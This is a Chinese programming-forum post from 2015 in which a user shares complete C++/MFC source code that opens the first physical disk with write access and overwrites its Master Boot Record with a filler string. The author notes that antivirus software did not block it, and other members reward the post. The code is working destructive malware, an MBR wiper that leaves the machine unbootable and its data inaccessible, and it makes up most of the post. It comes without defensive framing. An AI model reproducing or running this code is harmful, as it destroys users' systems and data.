|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
本帖最后由 黑龍 于 2015-12-12 14:26 编辑
用的WriteFile等API改写的MBR 因为在windows中硬盘被作为一个文件。。。。
代码写的很渣 大神勿喷
我用的IDLE是VS2012 然后 建的是支持MFC的控制台程序
必须设置不使用Unicode字节集
PS:测试的时候总出问题,终于找到哪里出问题了。。。。。。而且 为什么360不拦截???也不提醒?!!!!!!
- #include "stdafx.h"
- #include "ConsoleApplication2.h"
- #include <winioctl.h>
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #endif
- CWinApp theApp;
- using namespace std;
- int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
- {
- int nRetCode = 0;
- HMODULE hModule = ::GetModuleHandle(NULL);
- if (hModule != NULL)
- {
- if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0))
- {
- _tprintf(_T("初始化失败\n"));
- nRetCode = 1;
- }else{
- //硬盘文件名
- LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
- //主引导记录
- char code[]=
- "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"
- "By:紫玫冰心 popad 你猜 简单 紫玫冰心 <-_-> "
- " "
- " "
- " "
- "By:紫玫冰心 pushfd 哈哈哈哈 -> abc "
- "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";
- BYTE MBR[512];
- DWORD s=NULL,t=NULL;
- /* 文件句柄 */
- HANDLE handle=NULL;
- //构造MBR
- memcpy(MBR,code,sizeof(code)-1);
- //打开硬盘
- handle=CreateFile(
- DiskFileName,
- GENERIC_READ|GENERIC_WRITE,
- FILE_SHARE_READ|FILE_SHARE_WRITE,
- 0,
- OPEN_EXISTING,
- 0,
- 0);
- if(handle==INVALID_HANDLE_VALUE)
- {
- //打开文件失败
- MessageBox(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
- return 0;
- }else{
- //写入新的MBR
- WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
- DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
- CloseHandle(handle);//关闭文件
- MessageBox(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
- return 0;
- }
- }
- }
- else
- {
- _tprintf(_T("GetModuleHandle 失败\n"));
- nRetCode = 1;
- }
- return nRetCode;
- }
复制代码 |
评分
-
参与人数 2 | 荣誉 +10 |
鱼币 +10 |
贡献 +10 |
收起
理由
|
康小泡
| + 5 |
+ 5 |
+ 5 |
热爱鱼C^_^ |
小人
| + 5 |
+ 5 |
+ 5 |
热爱鱼C^_^ |
查看全部评分
|